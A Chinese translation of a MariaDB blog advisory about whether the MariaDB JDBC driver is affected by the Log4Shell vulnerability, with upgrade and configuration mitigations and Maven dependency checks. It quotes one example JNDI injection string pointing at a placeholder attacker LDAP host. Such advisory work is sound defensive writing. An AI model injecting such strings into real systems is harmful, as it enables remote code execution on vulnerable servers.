暂无图片
暂无图片
1
暂无图片
暂无图片
暂无图片

[译] MariaDB JDBC 驱动是否受 Log4j 脆弱性安全漏洞影响?

原创 严少安 2022-04-24
1520

原文地址:https://mariadb.com/resources/blog/is-the-mariadb-jdbc-driver-affected-by-the-log4j-vulnerability/
原文作者:Alejandro Duarte

MariaDB Java 连接器 是否受 Log4j 最近发现的安全漏洞影响?默认情况下,Java 连接器不使用 Log4j。但是,如果您已经将其配置为使用 SLF4j,请继续阅读。

有关 MariaDB JDBC 驱动程序范围之外的信息,请阅读 Log4Shell 和 MariaDB

注:本博客更新于2021-12-15,包括关于 CVE-2021-45046 的细节。

Log4j 脆弱性

Apache Log4j 是一个流行的用于Java应用程序的开源日志框架。它被用于各种开源和企业项目,包括云供应商和电子邮件服务提供商。2021年12月9日,在Log4j中发现了一个可以导致远程代码执行的0天漏洞,允许黑客在系统中执行任意代码。该漏洞被称为“Log4Shell”,被跟踪为 CVE-2021-44228

简而言之,该漏洞允许攻击者注入 JNDI 查找字符串,并且调用它,例如,远程 LDAP 服务器(被攻击者控制),后者返回一个恶意的Java类:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

如果 Log4j 记录了这样的字符串,恶意 Java 类就可以运行任意代码 (例如,通过静态代码块)。

版本影响

幸运的是,只有 Log4j 2.x 版本,2.15.0之前版本受到影响。有关更多信息,请参阅 Apache Log4j 安全漏洞 页面。该漏洞在 Log4j 1.x 版本中不存在。

如何减轻 CVE-2021-44228

减轻该漏洞的最佳策略是更新项目中的 Log4j 依赖项。版本 2.16.0 中已经移除消息查找,并已发布版本。感谢团队的快速发布。

更新:Log4j 2.16.0 还修复了跟踪的第二个漏洞 CVE-2021-45046

MariaDB JDBC 驱动程序没有使用Log4j 2.x。但是,它支持 SLF4J。检查你是否使用了绑定 Log4j 的 SLF4J。如果是,升级相应地 Log4j 或设置以下配置变量:

-Dlog4j2.formatMsgNoLookups=true

或者,设定下面的环境变量:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

注意:日志记录仅在由 log 参数显式设置时启用。除了 Log4j,你也可以选择其他的 SLF4J 绑定,比如 Jakarta Commons Logging, Logback,或者 Java Logging API。

如果你正在使用 Maven,你可以运行以下命令来确定你的项目是否依赖于 Log4j:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

下面这个例子是你在一个脆弱项目中可能得到的输出:

log4jvulnerabilityblogimg1.jpg.webp

如果由于某些原因你的项目不能编译,你也可以运行:

mvn help:effective-pom

搜索 log4j-core 依赖项并检查使用的版本。

更多信息

博客链接列表:

最后修改时间:2022-05-07 14:21:36
「喜欢这篇文章,您的关注和赞赏是给作者最好的鼓励」
关注作者
1人已赞赏
【版权声明】本文为墨天轮用户原创内容,转载时必须标注文章的来源(墨天轮),文章链接,文章作者等基本信息,否则作者和墨天轮有权追究责任。如果您发现墨天轮中有涉嫌抄袭或者侵权的内容,欢迎发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论